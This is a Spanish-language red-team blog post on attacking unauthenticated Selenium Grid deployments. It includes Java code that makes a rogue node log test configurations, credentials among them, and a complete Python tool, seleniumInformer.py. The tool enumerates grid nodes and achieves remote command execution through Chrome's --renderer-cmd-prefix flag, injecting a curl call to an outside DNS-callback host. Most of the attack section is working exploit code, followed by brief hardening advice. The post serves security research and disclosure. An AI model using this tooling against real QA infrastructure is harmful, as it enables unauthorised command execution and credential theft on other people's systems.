Atacando plataformas QA: Selenium Grid
Tabla de contenidos
Dentro de las tareas de reconocimiento y OSINT continuo llevadas a cabo por el Red Team en el contexto de una operación, se identificaron una serie de activos perimetrales utilizados por los equipos de QA. Concretamente se detectó la utilización de un Selenium Grid, sin autenticación, para la instrumentación de navegadores con objeto de realizar pruebas de calidad sobre distintos activos web de la empresa.
En este artículo se pretende abordar cómo una plataforma para QA expuesta, en este caso un servidor Selenium, puede ser aprovechada en el contexto de una intrusión.
Introducción
Este tipo de plataformas basadas en Selenium se componen de dos tipos de activos: un hub y varios nodos. El hub es el servidor al que otras máquinas (nodos) se suscriben para recibir las configuraciones necesarias para ejecutar una sesión de selenium y, posteriormente, llevar a cabo los test automatizados. Para la realización de estos test los nodos lanzan instancias de los navegadores deseados utilizando la configuración suministrada.
Desde el punto de vista del Red Team una infraestructura de estas características es interesante por dos motivos:
- Si es posible suscribir al Selenium Grid un nuevo nodo controlado por el Red Team, esto puede ser aprovechado para extraer la configuración de los test. En el caso de test a funcionalidades que requieren de una sesión válida, es probable encontrar credenciales u otros mecanismos de autenticación.
- En caso de poder configurar una instancia de un nodo, si dicho nodo dispone del navegador Google Chrome, obtener ejecución remota de comandos es trivial a través de los parámetros (flags) que admite.
Entorno de pruebas
Con motivos ilustrativos, en este artículo se van a realizar todas las pruebas en un entorno local compuesto por cuatro equipos. Uno de los equipos se encontrará ejecutando un servidor web y un hub mientras que los otros tres contendrán nodos de Selenium.
Servicio | IP | Vulnerable a RCE |
---|---|---|
Hub Selenium | 192.168.1.1 | – |
Nodo Selenium | 192.168.1.2 | Si |
Nodo Selenium | 192.168.1.3 | No |
Nodo Selenium | 192.168.1.4 | Si |
Inicialización del hub
Se inicia un hub en la dirección 192.168.1.1
.
java -jar selenium.jar -role hub
Inicialización de los nodos
Se inician un total de tres nodos en 192.168.1.1, 192.168.1.2, 192.168.1.3
. Estes se subscriben a su vez al hub creado anteriormente (192.168.1.1
).
Inicialización de nodo en 192.168.1.2
:
java -Dwebdriver.gecko.driver="geckodriver" -Dwebdriver.chrome.driver="chromedriver" -jar selenium.jar -role webdriver -hub https://192.168.1.1:4444/grid/register -port 5566 -host 192.168.1.2
Subscripción de nuevo Nodo
Se subscribe un nuevo nodo controlado por el Red Team.
Ejecución de prueba
launchTest.py) que solicita la ejecución una prueba al hub de selenium. Esta prueba es enviada a uno de los nodos que se encuentran subscritos al mismo y que a su vez, cumplan con los requerimientos especificados en el atributo desired_capabilities
.
launchTest.py
#! /usr/bin/env python3.7 from selenium import webdriver from lxml import html import requests HUB_IP = "127.0.0.1" HUB_PORT = "4444" TARGET_IP = "192.168.1.1" TARGET_PORT = "8080" TARGET_URL = "/main.html" def request(driver): s = requests.Session() cookies = driver.get_cookies() for cookie in cookies: s.cookies.set(cookie['name'], cookie['value']) return s def login(): driver = webdriver.Remote(desired_capabilities=webdriver.DesiredCapabilities.FIREFOX,command_executor="https://"+HUB_IP+":"+HUB_PORT+"/wd/hub") driver.get("https://"+TARGET_IP+":"+TARGET_PORT+TARGET_URL) driver.find_element_by_id('username').send_keys("secretUser") driver.find_element_by_id('password').send_keys("secretPassword") driver.find_element_by_id('login').click() req = request(driver) login()
Obtención de configuraciones
El método más simple de obtener las configuraciones y parámetros para llevar a cabo los test es suscribir al hub un nodo controlado por el Red Team. Para ello un método sencillo es modificar el código fuente del cliente de Selenium, de tal forma que todas las peticiones que reciba desde el Hub queden recopiladas. En este caso se añade una clase CustomRequestWrapper que hereda de ServletRequestWrappingHttpRequest y que permite leer sucesivas veces el contenido del cuerpo de un paquete (por defecto el campo body de un paquete es un buffer de una sola lectura).
CustomRequestWrapper.java
public class CustomRequestWrapper extends ServletRequestWrappingHttpRequest { private final String body; public CustomRequestWrapper(HttpServletRequest request) throws IOException { super(request); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = null; try { InputStream inputStream = request.getInputStream(); if (inputStream != null) { bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); char[] charBuffer = new char[128]; int bytesRead = -1; while ((bytesRead = bufferedReader.read(charBuffer)) > 0) { stringBuilder.append(charBuffer, 0, bytesRead); } } else { stringBuilder.append(""); } } catch (IOException ex) { throw ex; } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException ex) { throw ex; } } } body = stringBuilder.toString(); } public String getBody(){ return body; } @Override public InputStream consumeContentStream() { try { return new ByteArrayInputStream(body.getBytes()); } catch (Exception e) { throw new RuntimeException(e); } } }
Empleando CustomRequestWrapper en la clase WebDriverServlet se procesa el cuerpo de los distintos paquetes recibidos y se almacena en un fichero de log.
... ... CustomRequestWrapper req_wrapper = new CustomRequestWrapper(req); String body = req_wrapper.getBody(); if(!body.contains("capabilities")){ localDate = LocalDate.now(); String filename= LOG_FOLDER+localDate.format(dtf)+".log"; fw = new FileWriter(filename,true); if(body.contains("url")){ fw.write("\n"); } fw.write(body+"\n"); fw.close(); logger.info(body); } ... ...
Analizando el tráfico recibido por el nodo subscrito se identifica el contenido de las peticiones.
Ejecución de código
Como se ha indicado en el inicio de este post, es posible ejecutar comandos en los distintos nodos mediante el empleo del navegador Google Chrome. El argumento --renderer-cmd-prefix
permite introducir un comando que se ejecuta antes de iniciar el navegador. Este parámetro es propio del navegador Google Chrome y no se encuentra relacionado de forma alguna con la plataforma Selenium.
A continuación se presenta una herramienta desarrollada por el Red Team que permite listar los diferentes nodos suscritos a un hub y comprobar cuales son vulnerables a RCE. Esta herramienta puede ser descargada desde el github de Tarlogic.
Descripción de la Herramienta
La herramienta desarrollada recibe como entrada la ubicación de un panel de control de un hub y brinda dos opciones.
-
-
Identificar los nodos suscritos al hub y comprobar cuales de ellos son vulnerables a RCE.
Para la comprobación de ejecución de comandos se emplea el servicio dns.requestbin.net
. Básicamente se intenta realizar desde cada uno de los nodos una petición http a la dirección direcciondelnodo.tokendns.d.requestbin.net
, de esta forma, al intentar resolver el nombre se recibe la petición del mismo en el servicio de dns.requestbin.net
pudiendo identificar qué nodos han realizado la petición.
seleniumInformer.py
#!/bin/python3.7 import requests import re import base64 import asyncio import websockets import json import time import threading import argparse NODE_REGEX = re.compile(r'id:\s(https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6})') HUB_IP_ADDR="192.168.1.1" HUB_PORT="4444" REQUEST_TOKEN = '' REQUEST_DOMAIN='.d.requestbin.net' WEBSOCKET_URL = "ws://dns.requestbin.net:8080/dnsbin"; RESULT_SET = {} parser = argparse.ArgumentParser() parser.add_argument("-a","--addr", help="Hub ip address") parser.add_argument("-p","--port", help="Hub web panel port") parser.add_argument("-e","--enumerate",action="store_true", help="Just eumerate nodes on hub") args = parser.parse_args() if args.addr: HUB_IP_ADDR = args.addr if args.port: HUB_PORT = args.port if not args.enumerate: async def read_bytes_from_outside(): async with websockets.connect(WEBSOCKET_URL,close_timeout=3) as websocket: global REQUEST_TOKEN global RESULT_SET data = await websocket.recv() data = json.loads(data) REQUEST_TOKEN = data['data'] print("[+] Current session token is : " + REQUEST_TOKEN) try: while(websocket.open): message = await websocket.recv() message = json.loads(json.loads(message)['data']) node = message['content'] RESULT_SET[base64.b32decode(node.upper() + '=' * (-len(node) % 4)).decode('utf-8')]=message except: pass def thread_handler(): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(read_bytes_from_outside()) loop.close() thread = threading.Thread(target = thread_handler, args='') thread.start() while len(REQUEST_TOKEN)<1: time.sleep(0.2) print("[+] Hub Location:",'https://'+HUB_IP_ADDR+':'+HUB_PORT) r = requests.get('https://'+HUB_IP_ADDR+':'+HUB_PORT+'/grid/console') NodesOnHub = NODE_REGEX.findall(r.content.decode("utf-8")) if not args.enumerate: for node in NodesOnHub: b32_node = ""+base64.b32encode(str.encode(node)).decode('utf-8').replace('=','').lower() payload = "curl "+b32_node+"."+REQUEST_TOKEN+REQUEST_DOMAIN rce_test_data = '''{ "desiredCapabilities": { "browserName":"chrome", "goog:chromeOptions": { "args":["--no-sandbox","--renderer-cmd-prefix='''+payload+''' --"] } } }''' r = requests.post(url = 'https://'+HUB_IP_ADDR+':'+HUB_PORT+'/wd/hub/session', headers={'Content-Type':'text/plain;charset=UTF-8'}, data = rce_test_data) thread.join() print("[+] Nodes with RCE: ") for node in NodesOnHub: if node in RESULT_SET: print(" [\033[;1;32m+\033[;39;49m] ",node,"\033[;1;32mPWNEABLE!\033[;39;49m") else: print(" [\033[;1;31m-\033[;39;49m] ",node,"\033[;1;31mNOT PWNEABLE!\033[;39;49m") else: print("[+] Nodes Subscribed to HUB: ") for node in NodesOnHub: print(" [*] ",node)
Funcionamiento Herramienta
La herramienta se encuentra escrita en python3 y tiene dos modos de funcionamiento. Un primer modo para tan sólo listar los nodos subscritos al hub y un segundo para listar e identificar cuales son vulnerables a ejecución remota de código.
Listado de nodos subscritos
Para listar los nodos subscritos al hub basta con invocar el script con la opción -e,–enumerate
Listado de nodos vulnerables a ejecución remota de código
Para listar los nodos vulnerables se ejecuta el script sin la opción -e,–enumerate
Conclusiones
Si bien la plataforma Selenium Grid facilita y acelera la fase de pruebas sobre activos web, ésta debe emplearse en entornos controlados o, al menos no en su variante por defecto. La ausencia de métodos de autenticación por parte cliente/servidor permiten que cualquier agente externo pueda interactuar con ambos, permitiendo la realización de ataques como los presentados en este post.
El empleo de algún proxy de autenticación, el empleo de reglas de firewall que filtren el tráfico entrante junto un buen bastionado son clave para minimizar la exposición y el riesgo que presenta el uso de este tipo de plataformas.
Referencias
[1] https://chromium.googlesource.com/chromium/src/+/lkgr/docs/gpu/debugging_gpu_related_code.md
[3] https://peter.sh/experiments/chromium-command-line-switches/
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com